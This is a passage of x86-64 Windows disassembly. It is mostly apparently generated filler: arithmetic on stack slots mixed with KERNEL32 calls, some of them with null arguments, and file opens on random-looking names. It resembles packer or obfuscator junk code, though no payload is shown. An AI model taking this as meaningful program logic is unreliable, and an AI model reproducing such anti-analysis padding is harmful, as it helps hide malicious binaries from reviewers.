mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb878], rax
mov rax, qword [rsp + 0xb668]
mov ecx, dword [rsp + 0x4bf0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3d3c], eax
mov rax, qword [rsp + 0xae48]
mov rcx, qword [rsp + 0xaac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f4c], eax
mov rax, qword [rsp + 0xc358]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9f08]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3f5], al
movsx eax, word [rsp + 0x1f8c]
movsx ecx, word [rsp + 0x928]
add eax, ecx
mov word [0x140229fd4], ax
movzx eax, word [rsp + 0x1fb4]
mov word [rsp + 0x2150], ax
movzx eax, word [rsp + 0x19c0]
mov rcx, qword [rsp + 0xa420]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb800]
mov word [rcx], ax
mov rax, qword [rsp + 0x8348]
movzx ecx, al
mov rax, qword [rsp + 0x9a20]
shl rax, cl
mov qword [rsp + 0x8018], rax
mov eax, dword [rsp + 0x4ae0]
mov ecx, dword [rsp + 0x3c48]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x403c], eax
mov rax, qword [rsp + 0xbbe8]
mov rcx, qword [0x14022b818]
mov qword [rsp + 0xd2b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2b0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8a70], rax
mov rax, qword [rsp + 0xb150]
movzx eax, byte [rax]
mov byte [rsp + 0x402], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xb278]
movsx eax, word [rax]
mov rcx, qword [0x14022ba70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb7f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcce0]
movzx eax, word [rax]
mov word [rsp + 0x2154], ax
mov rax, qword [rsp + 0xa7f8]
mov rcx, qword [rsp + 0x7638]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14022a1b8], rax
lea rdx, [rsp + 0x4d64]
mov rcx, qword [rsp + 0xbf20]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x499c], eax
movzx eax, word [rsp + 0x1a28]
movzx ecx, word [0x14022a0cc]
sub eax, ecx
mov word [rsp + 0x1068], ax
mov rax, qword [rsp + 0xa520]
mov rcx, qword [rsp + 0xbfa0]
mov qword [rsp + 0xd2b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2b8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x85f8], rax
mov rax, qword [rsp + 0x70a8]
mov rcx, qword [rsp + 0xab58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8370], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf630
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47d4], eax
mov rax, qword [rsp + 0xc4f0]
mov rcx, qword [rsp + 0xb0f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb3f8], rax
lea rcx, [rsp + 0xadd8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xcc88]
movzx eax, byte [rax]
mov byte [rsp + 0x403], al
lea rdx, [rsp + 0x4d54]
mov rcx, qword [rsp + 0xa930]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4d68], eax
mov rax, qword [rsp + 0xb950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cbc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a64], eax
lea rax, [0x140229f1d]
mov qword [rsp + 0xd2c0], rax
mov rax, qword [rsp + 0xcce8]
mov ecx, dword [rsp + 0x4764]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4c08], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0xc328]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d3c]
or eax, ecx
mov rcx, qword [0x14022bb40]
mov word [rcx], ax
mov rax, qword [0x14022ba70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0f0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb3b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcc00]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf68], ax
movzx eax, word [0x140229fd8]
mov rcx, qword [rsp + 0xc6c0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb170]
mov word [rcx], ax
mov rax, qword [rsp + 0xd098]
mov rax, qword [rax]
mov qword [rsp + 0xd2c8], rax
mov rax, qword [rsp + 0xd0d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb9e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcc38]
mov byte [rcx], al
mov eax, dword [rsp + 0x49e8]
mov ecx, dword [0x14022ba3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3de0], eax
lea rax, [rsp + 0x18dc]
mov qword [rsp + 0xd2d0], rax
mov rax, qword [rsp + 0xc200]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fd8]
and eax, ecx
mov rcx, qword [rsp + 0xa198]
mov word [rcx], ax
mov rax, qword [rsp + 0xba90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022c008]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb7f8]
mov rax, qword [rax]
mov qword [rsp + 0xd2d8], rax
mov rax, qword [rsp + 0xb358]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc4c8]
sar rax, cl
mov qword [rsp + 0xc308], rax
mov rax, qword [0x14022be10]
mov rcx, qword [rsp + 0xd090]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8990], rax
mov rax, qword [rsp + 0xcf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xef0]
and eax, ecx
mov word [rsp + 0x146c], ax
movzx eax, byte [0x140229f1d]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov byte [rsp + 0x87], al
lea rax, [rsp + 0x4b80]
mov qword [rsp + 0xd2e0], rax
movsx eax, byte [rsp + 0x363]
mov rcx, qword [rsp + 0xac08]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x3c5], al
mov r9d, 0xa2e
xor r8d, r8d
lea rdx, [rsp + 0xaba8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4714], eax
mov rax, qword [rsp + 0xbef8]
mov rax, qword [rax]
mov qword [rsp + 0xd2e8], rax
mov rax, qword [rsp + 0xbe68]
mov eax, dword [rax]
mov dword [0x14022c068], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd0f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d04]
shl eax, cl
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf78]
movsx eax, word [rax]
movsx ecx, word [0x14022a06c]
xor eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xad80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fd8]
or eax, ecx
mov word [rsp + 0x9d8], ax
mov rax, qword [rsp + 0xcb88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb268]
mov qword [rsp + 0xd2f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2f0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xa990]
mov qword [rcx], rax
lea rax, [rsp + 0x4920]
mov qword [rsp + 0xd2f8], rax
mov rax, qword [rsp + 0xaa18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3d3]
imul eax, ecx
mov byte [rsp + 0x3c7], al
mov rax, qword [rsp + 0xc468]
mov rcx, qword [rsp + 0xc778]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7dd0], rax
movzx eax, word [rsp + 0xaec]
mov word [rsp + 0x2158], ax
lea rax, [rsp + 0x1ea4]
mov qword [0x14022c070], rax
mov rax, qword [rsp + 0xaa60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcad0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8330], rax
lea rax, [0x14022b8e0]
mov qword [rsp + 0xd300], rax
lea rcx, [rsp + 0xb840]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb038]
mov ecx, dword [rsp + 0x44e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a64], eax
mov rax, qword [rsp + 0xc3a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbd18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x36c], al
mov rax, qword [0x14022bbe0]
mov eax, dword [rax]
mov dword [rsp + 0x4d6c], eax
mov rax, qword [rsp + 0x9c08]
mov rcx, qword [rsp + 0x9670]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9ce8], rax
lea rax, [rsp + 0x343]
mov qword [rsp + 0xd308], rax
movsx eax, word [rsp + 0x1d0c]
movsx ecx, word [rsp + 0x1ff4]
sar eax, cl
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0xba28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f40]
sub eax, ecx
mov word [0x14022bc30], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdfc4
mov rcx, qword [rsp + 0xc298]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48fc], eax
mov r9d, 0xdf
xor r8d, r8d
lea rdx, [rsp + 0xb520]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d70], eax
mov rax, qword [rsp + 0xc088]
mov rcx, qword [0x14022ba90]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc270], rax
lea rax, [rsp + 0x9240]
mov qword [rsp + 0xd310], rax
movsx eax, word [rsp + 0x1d58]
mov rcx, qword [rsp + 0xb8a0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf58], ax
lea rax, [rsp + 0x17f8]
mov qword [rsp + 0xd318], rax
movsx eax, byte [rsp + 0x233]
mov rcx, qword [rsp + 0x9b20]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3c0], al
lea rcx, [rsp + 0xac30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x6841
mov rcx, qword [rsp + 0xbf20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4cd0], eax
lea rax, [rsp + 0x9c50]
mov qword [rsp + 0xd320], rax
mov rax, qword [rsp + 0xaa50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc2a0]
mov qword [rsp + 0xd328], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd328]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3a24], eax
mov rax, qword [0x14022bff0]
mov rcx, qword [rsp + 0xa218]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9f10], rax
movsx eax, word [rsp + 0x1ff8]
mov rcx, qword [rsp + 0xa8c8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14022a108], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
add eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0xa2c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bb8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rax, [rsp + 0x381]
mov qword [rsp + 0xd330], rax
mov rax, qword [rsp + 0xd088]
mov rax, qword [rax]
mov rcx, qword [0x14022bfe0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa388], rax
mov rax, qword [rsp + 0xa5f0]
mov rcx, qword [rsp + 0xa130]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9380], rax
mov eax, dword [rsp + 0x47e4]
mov dword [rsp + 0x4d74], eax
mov rax, qword [0x14022ba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc6c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcd70]
mov byte [rcx], al
lea rax, [rsp + 0x10b4]
mov qword [rsp + 0xd338], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.xvIXoADyT9gKTGfjo7v6jf6h2vq8S4qZG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd340], rax
lea rax, [rsp + 0x7ec]
mov qword [0x14022c078], rax
mov rax, qword [rsp + 0xb028]
mov rcx, qword [0x14022b888]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd1a8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc3dd
mov rcx, qword [rsp + 0xa0c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b64], eax
mov r9d, 0x242e
xor r8d, r8d
lea rdx, [rsp + 0xb8c0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d78], eax
movzx eax, word [rsp + 0x1088]
movzx ecx, word [rsp + 0x1f40]
sar eax, cl
mov word [rsp + 0xfdc], ax
lea rax, [rsp + 0x928]
mov qword [rsp + 0xd348], rax
mov rax, qword [0x14022bad0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7288]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xca38]
mov qword [rcx], rax
lea rax, [rsp + 0xc8a0]
mov qword [rsp + 0xd350], rax
movsx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0xb9f8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x229], al
mov rax, qword [rsp + 0xc198]
mov rcx, qword [0x14022bfc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x416c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx eax, word [rsp + 0x1e60]
movzx ecx, word [rsp + 0x1d24]
shl eax, cl
mov word [rsp + 0x1df0], ax
mov rcx, qword [rsp + 0xb520]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa7f8]
mov rcx, qword [0x14022a128]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022a1c0], rax
mov rax, qword [rsp + 0xd250]
mov ecx, dword [rsp + 0x3ac8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc968]
mov dword [rcx], eax
lea rcx, [rsp + 0xcfd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.5qnn1fhuAdu
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd358], rax
movzx eax, byte [rsp + 0x3b3]
mov byte [rsp + 0x404], al
movsx eax, word [rsp + 0x1dcc]
movsx ecx, word [rsp + 0x1434]
sar eax, cl
mov rcx, qword [rsp + 0xc110]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d10]
sub eax, ecx
mov word [rsp + 0x1c08], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x385
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45e4], eax
mov eax, dword [rsp + 0x4b30]
mov ecx, dword [rsp + 0x4300]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d7c], eax
mov rax, qword [rsp + 0xbc30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4d8], rax
lea rax, [rsp + 0x2a4]
mov qword [rsp + 0xd360], rax
mov rax, qword [rsp + 0xcf30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb238]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcfe0]
mov word [rcx], ax
movzx eax, word [0x14022b958]
mov rcx, qword [rsp + 0xb3b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022bad8], ax
mov rax, qword [rsp + 0xb140]
mov qword [rsp + 0xd368], rax
mov rax, qword [0x14022bb48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd2d8]
sar rax, cl
mov qword [rsp + 0xca78], rax
mov rax, qword [rsp + 0xb098]
mov rcx, qword [rsp + 0xa078]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xaa60]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1d04]
mov word [rsp + 0x215c], ax
mov rax, qword [rsp + 0xb128]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b812]
or eax, ecx
mov byte [rsp + 0x3cd], al
mov eax, dword [rsp + 0x4084]
movzx ecx, al
mov eax, dword [rsp + 0x479c]
shl eax, cl
mov dword [rsp + 0x3b30], eax
mov rax, qword [rsp + 0xaca0]
mov rcx, qword [rsp + 0xc928]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ce8], rax
mov rax, qword [rsp + 0xb7a8]
mov rcx, qword [rsp + 0xc918]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbc20]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbdc8]
movzx eax, byte [rax]
mov byte [rsp + 0x405], al
movzx eax, word [rsp + 0x894]
mov word [0x14022c080], ax
mov rax, qword [rsp + 0x9f98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dfc]
sub eax, ecx
mov word [rsp + 0x1d10], ax
movzx eax, word [rsp + 0x1f68]
movzx ecx, word [rsp + 0x1f9c]
and eax, ecx
mov word [rsp + 0x1a40], ax
mov rax, qword [0x14022a078]
movzx ecx, al
mov rax, qword [rsp + 0xbcd0]
sar rax, cl
mov qword [rsp + 0xb1c0], rax
lea rcx, [rsp + 0xa470]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 0x164e
xor r8d, r8d
lea rdx, [rsp + 0x9f28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d7c], eax
lea rax, [rsp + 0x8e]
mov qword [rsp + 0xd370], rax
mov rax, qword [rsp + 0xcae0]
mov ecx, dword [rsp + 0x4a54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d04], eax
mov rax, qword [rsp + 0xa688]
mov rcx, qword [rsp + 0xb7a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xaf88]
mov qword [rcx], rax
movzx eax, word [rsp + 0xae8]
mov word [rsp + 0x2160], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xcf05
mov rcx, qword [rsp + 0xa6d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49c4], eax
mov rax, qword [rsp + 0x9e40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc148]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2154], ax
lea rdx, [rsp + 0x4d80]
mov rcx, qword [rsp + 0xab88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4808], eax
mov rax, qword [0x14022b980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc18]
and rcx, rax
mov rax, rcx
mov qword [str.GnB_ax], rax
mov rax, qword [rsp + 0xce30]
movzx eax, word [rax]
mov word [rsp + 0x2164], ax
mov rax, qword [rsp + 0x9ba8]
mov rcx, qword [rsp + 0xb070]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd048]
mov qword [rcx], rax
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xc7c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb0b0], rax
mov rax, qword [rsp + 0xa288]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb9e8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2e4], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [0x14022c030]
mov rcx, qword [rsp + 0xb4d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc928], rax
lea rdx, [rsp + 0x4d84]
mov rcx, qword [rsp + 0xc298]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b4c], eax
lea rax, [rsp + 0x36f]
mov qword [rsp + 0xd378], rax
mov eax, dword [rsp + 0x4630]
mov rcx, qword [rsp + 0x9bb0]
mov qword [rsp + 0xd380], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd380]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4a94], eax
mov eax, dword [rsp + 0x4938]
imul eax, dword [rsp + 0x4d6c]
mov rcx, qword [rsp + 0xcae8]
mov dword [rcx], eax
lea rax, [rsp + 0x7b8]
mov qword [0x14022c088], rax
mov rax, qword [rsp + 0xb5d0]
movzx eax, word [rax]
mov word [rsp + 0x2168], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0xbfc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b14], ax
lea rax, [rsp + 0x1754]
mov qword [rsp + 0xd388], rax
mov rax, qword [rsp + 0xc870]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37b]
add eax, ecx
mov byte [rsp + 0x186], al
mov eax, dword [rsp + 0x4304]
mov ecx, dword [rsp + 0x437c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4044], eax
mov rax, qword [rsp + 0xa600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ae0], rax
movsx eax, word [rsp + 0x1fa4]
mov rcx, qword [rsp + 0xa8d0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
movzx eax, word [0x14022b8d0]
mov word [rsp + 0x216c], ax
lea rdx, [rsp + 0x4784]
mov rcx, qword [rsp + 0xb9f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b7c], eax
mov rax, qword [rsp + 0xc830]
mov rcx, qword [rsp + 0xc308]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14022a008], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc418]
mov rcx, qword [rsp + 0xa3d0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcb88]
mov qword [rcx], rax
lea rax, [0x14022a1b8]
mov qword [rsp + 0xd390], rax
mov rax, qword [rsp + 0xb658]
mov rcx, qword [rsp + 0xba90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbc48]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1da0]
movzx ecx, word [rsp + 0xed4]
shl eax, cl
mov word [rsp + 0x1d50], ax
lea rax, [0x140229f1d]
mov qword [rsp + 0xd398], rax
mov rax, qword [rsp + 0xd2e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4448]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcdb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb988]
movzx eax, byte [rax]
mov byte [rsp + 0x406], al
mov rax, qword [rsp + 0xad88]
mov rcx, qword [rsp + 0x9258]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xbdb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc3b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4bc8]
shr eax, cl
mov dword [0x14022bd68], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf157
mov rcx, qword [rsp + 0xb888]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4d48], eax
movsx eax, word [rsp + 0x2128]
mov rcx, qword [rsp + 0x9bd0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa08], ax
lea rax, [rsp + 0x2110]
mov qword [rsp + 0xd3a0], rax
movzx eax, word [rsp + 0x1e68]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa88], ax
mov r9d, 0x267e
xor r8d, r8d
lea rdx, [rsp + 0xb188]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4cc8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xc4c8]
mov qword [rsp + 0xd3a8], rax
mov rax, qword [rsp + 0xa150]
mov rcx, qword [rsp + 0x9ec0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9360], rax
movsx eax, byte [rsp + 0x279]
movsx ecx, byte [rsp + 0x6c]
sub eax, ecx
mov byte [rsp + 0x3a4], al
lea rax, [rsp + 0x39f4]
mov qword [rsp + 0xd3b0], rax
mov rax, qword [0x14022bf58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1e78], ax
mov rax, qword [rsp + 0xce30]
movzx eax, word [rax]
mov word [0x14022c090], ax
mov rax, qword [rsp + 0xabe8]
mov rcx, qword [rsp + 0xbd98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8150], rax
movzx eax, word [0x140229fec]
mov rcx, qword [rsp + 0xbeb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1968], ax
mov rax, qword [rsp + 0xac50]
movzx eax, byte [rax]
mov byte [rsp + 0x407], al
mov rax, qword [rsp + 0xc968]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4958]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a28], eax
mov rax, qword [rsp + 0xbe30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f44]
shl eax, cl
mov dword [rsp + 0x4b14], eax
lea rax, [rsp + 0x211]
mov qword [rsp + 0xd3b8], rax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xb930]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9550], rax
lea rax, [rsp + 0xec4]
mov qword [rsp + 0xd3c0], rax
lea rdx, [rsp + 0x48d4]
mov rcx, qword [rsp + 0xb248]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4bcc], eax
mov rax, qword [rsp + 0xc4a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d1c]
xor eax, ecx
mov rcx, qword [0x14022bb78]
mov word [rcx], ax
mov rcx, qword [rsp + 0xacf8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb938]
movzx ecx, al
mov rax, qword [rsp + 0x8238]
sar rax, cl
mov rcx, qword [rsp + 0xba90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb378]
mov rcx, qword [rsp + 0xb8c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7800], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.uNFgvUgge3PXQLwg5oMI
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd3c8], rax
movsx eax, word [rsp + 0x2138]
movsx ecx, word [rsp + 0x1c90]
add eax, ecx
mov word [rsp + 0x970], ax
mov r9d, 0x2115
xor r8d, r8d
lea rdx, [rsp + 0xae90]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ae4], eax
xor edx, edx
xor ecx, ecx
